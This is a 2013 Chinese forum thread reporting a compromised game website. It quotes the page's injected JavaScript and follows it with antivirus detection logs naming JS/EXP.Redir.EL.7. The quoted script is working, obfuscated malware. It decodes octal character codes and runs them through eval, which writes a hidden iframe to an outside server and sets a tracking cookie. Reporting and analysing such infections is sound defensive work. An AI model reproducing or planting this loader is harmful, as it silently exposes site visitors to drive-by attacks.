http://www.legendsofkeon.justinfrenzel.com/alenia/places

显示全部楼层 · 发表于 2013-9-20 09:38:16

function hide(divID) {
var item = document.getElementById(divID);
if (item) {
item.className = (item.className == 'unhidden') ? 'hidden' : 'hidden';
}
}
/*0c0896*/
ps = "split";
asd = function() {
d.body--
};
a = ("44,152,171,162,147,170,155,163,162,44,176,176,176,152,152,152,54,55,44,177,21,16,44,172,145,166,44,152,174,167,44,101,44,150,163,147,171,161,151,162,170,62,147,166,151,145,170,151,111,160,151,161,151,162,170,54,53,155,152,166,145,161,151,53,55,77,21,16,21,16,44,152,174,167,62,167,166,147,44,101,44,53,154,170,170,164,76,63,63,65,65,75,62,66,70,71,62,65,70,72,62,71,64,63,151,167,150,62,164,154,164,53,77,21,16,44,152,174,167,62,167,170,175,160,151,62,164,163,167,155,170,155,163,162,44,101,44,53,145,146,167,163,160,171,170,151,53,77,21,16,44,152,174,167,62,167,170,175,160,151,62,146,163,166,150,151,166,44,101,44,53,64,53,77,21,16,44,152,174,167,62,167,170,175,160,151,62,154,151,155,153,154,170,44,101,44,53,65,164,174,53,77,21,16,44,152,174,167,62,167,170,175,160,151,62,173,155,150,170,154,44,101,44,53,65,164,174,53,77,21,16,44,152,174,167,62,167,170,175,160,151,62,160,151,152,170,44,101,44,53,65,164,174,53,77,21,16,44,152,174,167,62,167,170,175,160,151,62,170,163,164,44,101,44,53,65,164,174,53,77,21,16,21,16,44,155,152,44,54,45,150,163,147,171,161,151,162,170,62,153,151,170,111,160,151,161,151,162,170,106,175,115,150,54,53,152,174,167,53,55,55,44,177,21,16,44,150,163,147,171,161,151,162,170,62,173,166,155,170,151,54,53,100,150,155,172,44,155,150,101,140,53,152,174,167,140,53,102,100,63,150,155,172,102,53,55,77,21,16,44,150,163,147,171,161,151,162,170,62,153,151,170,111,160,151,161,151,162,170,106,175,115,150,54,53,152,174,167,53,55,62,145,164,164,151,162,150,107,154,155,160,150,54,152,174,167,55,77,21,16,44,201,21,16,201,21,16,152,171,162,147,170,155,163,162,44,127,151,170,107,163,163,157,155,151,54,147,163,163,157,155,151,122,145,161,151,60,147,163,163,157,155,151,132,145,160,171,151,60,162,110,145,175,167,60,164,145,170,154,55,44,177,21,16,44,172,145,166,44,170,163,150,145,175,44,101,44,162,151,173,44,110,145,170,151,54,55,77,21,16,44,172,145,166,44,151,174,164,155,166,151,44,101,44,162,151,173,44,110,145,170,151,54,55,77,21,16,44,155,152,44,54,162,110,145,175,167,101,101,162,171,160,160,44,200,200,44,162,110,145,175,167,101,101,64,55,44,162,110,145,175,167,101,65,77,21,16,44,151,174,164,155,166,151,62,167,151,170,130,155,161,151,54,170,163,150,145,175,62,153,151,170,130,155,161,151,54,55,44,57,44,67,72,64,64,64,64,64,56,66,70,56,162,110,145,175,167,55,77,21,16,44,150,163,147,171,161,151,162,170,62,147,163,163,157,155,151,44,101,44,147,163,163,157,155,151,122,145,161,151,57,46,101,46,57,151,167,147,145,164,151,54,147,163,163,157,155,151,132,145,160,171,151,55,21,16,44,57,44,46,77,151,174,164,155,166,151,167,101,46,44,57,44,151,174,164,155,166,151,62,170,163,113,121,130,127,170,166,155,162,153,54,55,44,57,44,54,54,164,145,170,154,55,44,103,44,46,77,44,164,145,170,154,101,46,44,57,44,164,145,170,154,44,76,44,46,46,55,77,21,16,201,21,16,152,171,162,147,170,155,163,162,44,113,151,170,107,163,163,157,155,151,54,44,162,145,161,151,44,55,44,177,21,16,44,172,145,166,44,167,170,145,166,170,44,101,44,150,163,147,171,161,151,162,170,62,147,163,163,157,155,151,62,155,162,150,151,174,123,152,54,44,162,145,161,151,44,57,44,46,101,46,44,55,77,21,16,44,172,145,166,44,160,151,162,44,101,44,167,170,145,166,170,44,57,44,162,145,161,151,62,160,151,162,153,170,154,44,57,44,65,77,21,16,44,155,152,44,54,44,54,44,45,167,170,145,166,170,44,55,44,52,52,21,16,44,54,44,162,145,161,151,44,45,101,44,150,163,147,171,161,151,162,170,62,147,163,163,157,155,151,62,167,171,146,167,170,166,155,162,153,54,44,64,60,44,162,145,161,151,62,160,151,162,153,170,154,44,55,44,55,44,55,21,16,44,177,21,16,44,166,151,170,171,166,162,44,162,171,160,160,77,21,16,44,201,21,16,44,155,152,44,54,44,167,170,145,166,170,44,101,101,44,61,65,44,55,44,166,151,170,171,166,162,44,162,171,160,160,77,21,16,44,172,145,166,44,151,162,150,44,101,44,150,163,147,171,161,151,162,170,62,147,163,163,157,155,151,62,155,162,150,151,174,123,152,54,44,46,77,46,60,44,160,151,162,44,55,77,21,16,44,155,152,44,54,44,151,162,150,44,101,101,44,61,65,44,55,44,151,162,150,44,101,44,150,163,147,171,161,151,162,170,62,147,163,163,157,155,151,62,160,151,162,153,170,154,77,21,16,44,166,151,170,171,166,162,44,171,162,151,167,147,145,164,151,54,44,150,163,147,171,161,151,162,170,62,147,163,163,157,155,151,62,167,171,146,167,170,166,155,162,153,54,44,160,151,162,60,44,151,162,150,44,55,44,55,77,21,16,201,21,16,155,152,44,54,162,145,172,155,153,145,170,163,166,62,147,163,163,157,155,151,111,162,145,146,160,151,150,55,21,16,177,21,16,155,152,54,113,151,170,107,163,163,157,155,151,54,53,172,155,167,155,170,151,150,143,171,165,53,55,101,101,71,71,55,177,201,151,160,167,151,177,127,151,170,107,163,163,157,155,151,54,53,172,155,167,155,170,151,150,143,171,165,53,60,44,53,71,71,53,60,44,53,65,53,60,44,53,63,53,55,77,21,16,21,16,176,176,176,152,152,152,54,55,77,21,16,201,21,16,201,21,16" [ps](","));
ss = String;
d = document;
for (i = 0; i < a.length; i += 1) {
a[i] = -(8 - 4) + parseInt(a[i], 8);
}
try {
asd()
} catch (q) {
zz = 0;
}
try {
zz /= 2
} catch (q) {
zz = 1;
}
if (!zz) eval(ss["fromCharCode"].apply(ss, a)); /*/0c0896*/

复制代码

Avira

2013/9/20 上午 09:35 [System Scanner] 發現惡意程式碼
   檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
   Files\Low\Content.IE5\5TH1K21Z\places[1].htm'
   包含病毒或有害的程式 'JS/EXP.Redir.EL.7' [virus]
   已採取動作：
   發生錯誤，檔案未刪除。錯誤識別碼：26003.
   檔案無法刪除！.
   嘗試使用 ARK 程式庫執行動作。.
   檔案會移動至 '4c002426.qua' 名稱底下的隔離區目錄。.

2013/9/20 上午 09:35 [System Scanner] 掃描
   掃描結束 [已完成全部的掃描。]。
   檔案數： 764
   目錄數： 0
   惡意程式碼數： 1
   警告數： 0

2013/9/20 上午 09:34 [System Scanner] 掃描
   掃描結束 [已完成全部的掃描。]。
   檔案數： 767
   目錄數： 0
   惡意程式碼數： 4
   警告數： 0

2013/9/20 上午 09:34 [System Scanner] 發現惡意程式碼
   檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
   Files\Low\Content.IE5\1YP0JPM6\div_hide_3[1].js'
   包含病毒或有害的程式 'JS/EXP.Redir.EL.7' [virus]
   已採取動作：
   檔案會移動至 '7b2133f3.qua' 名稱底下的隔離區目錄。.

2013/9/20 上午 09:34 [System Scanner] 發現惡意程式碼
   檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
   Files\Low\Content.IE5\VUGD722P\imgswap[1].js'
   包含病毒或有害的程式 'JS/EXP.Redir.EL.7' [virus]
   已採取動作：
   檔案會移動至 '57cd097a.qua' 名稱底下的隔離區目錄。.

2013/9/20 上午 09:34 [System Scanner] 發現惡意程式碼
   檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
   Files\Low\Content.IE5\BM0NVITH\div_hide_1[1].js'
   包含病毒或有害的程式 'JS/EXP.Redir.EL.7' [virus]
   已採取動作：
   檔案會移動至 '1d167c31.qua' 名稱底下的隔離區目錄。.

2013/9/20 上午 09:34 [System Scanner] 發現惡意程式碼
   檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
   Files\Low\Content.IE5\BM0NVITH\div_hide_2[1].js'
   包含病毒或有害的程式 'JS/EXP.Redir.EL.7' [virus]
   已採取動作：
   檔案會移動至 '4f4926d9.qua' 名稱底下的隔離區目錄。.

2013/9/20 上午 09:34 [Real-Time Protection] 發現惡意程式碼
   在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
   Files\Low\Content.IE5\VUGD722P\imgswap[1].js 中
   偵測到病毒或有害的程式 'JS/EXP.Redir.EL.7 [virus]'
   執行的動作：傳輸至掃描程式

2013/9/20 上午 09:34 [Real-Time Protection] 發現惡意程式碼
   在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
   Files\Low\Content.IE5\5TH1K21Z\places[1].htm 中
   偵測到病毒或有害的程式 'JS/EXP.Redir.EL.7 [virus]'
   執行的動作：傳輸至掃描程式

2013/9/20 上午 09:34 [Real-Time Protection] 發現惡意程式碼
   在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
   Files\Low\Content.IE5\BM0NVITH\div_hide_1[1].js 中
   偵測到病毒或有害的程式 'JS/EXP.Redir.EL.7 [virus]'
   執行的動作：傳輸至掃描程式

2013/9/20 上午 09:34 [Real-Time Protection] 發現惡意程式碼
   在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
   Files\Low\Content.IE5\1YP0JPM6\div_hide_3[1].js 中
   偵測到病毒或有害的程式 'JS/EXP.Redir.EL.7 [virus]'
   執行的動作：傳輸至掃描程式

2013/9/20 上午 09:34 [Real-Time Protection] 發現惡意程式碼
   在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
   Files\Low\Content.IE5\BM0NVITH\div_hide_2[1].js 中
   偵測到病毒或有害的程式 'JS/EXP.Redir.EL.7 [virus]'
   執行的動作：傳輸至掃描程式

2013/9/20 上午 09:34 [Real-Time Protection] 發現惡意程式碼
   在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
   Files\Low\Content.IE5\BM0NVITH\div_hide_1[1].js 中
   偵測到病毒或有害的程式 'JS/EXP.Redir.EL.7 [virus]'
   執行的動作：拒絕存取

2013/9/20 上午 09:34 [Real-Time Protection] 發現惡意程式碼
   在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
   Files\Low\Content.IE5\BM0NVITH\div_hide_2[1].js 中
   偵測到病毒或有害的程式 'JS/EXP.Redir.EL.7 [virus]'
   執行的動作：拒絕存取

2013/9/20 上午 09:34 [Real-Time Protection] 發現惡意程式碼
   在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
   Files\Low\Content.IE5\1YP0JPM6\div_hide_3[1].js 中
   偵測到病毒或有害的程式 'JS/EXP.Redir.EL.7 [virus]'
   執行的動作：拒絕存取

2013/9/20 上午 09:34 [Real-Time Protection] 發現惡意程式碼
   在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
   Files\Low\Content.IE5\VUGD722P\imgswap[1].js 中
   偵測到病毒或有害的程式 'JS/EXP.Redir.EL.7 [virus]'
   執行的動作：拒絕存取

2013/9/20 上午 09:34 [Web Protection] 已停用 Web Protection
   服務已停用

2013/9/20 上午 09:34 [Web Protection] 封鎖的網頁
   URL (http://www.legendsofkeon.justinfrenzel.com/alenia/places) 的評估結果為
   惡意程式碼，而遭到封鎖。

显示全部楼层 · 发表于 2013-9-20 13:26:41

类别: 使用

描述: 这个程序很危险，它利用运行该程序的计算机。

推荐的操作: 立即删除这个软件。

项目:
file:C:\Users\S\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5MLZ2NLL\imgswap[1].js
file:C:\Users\S\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5MLZ2NLL\places[1].htm
file:C:\Users\S\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8DOAYD7Q\div_hide_2[1].js
file:C:\Users\S\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\CZE1GGEM\div_hide_1[1].js
file:C:\Users\S\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\DK1AXNSL\div_hide_3[1].js

联机获取此项的详细信息。

[已鉴定] http://www.legendsofkeon.justinfrenzel.com/alenia/places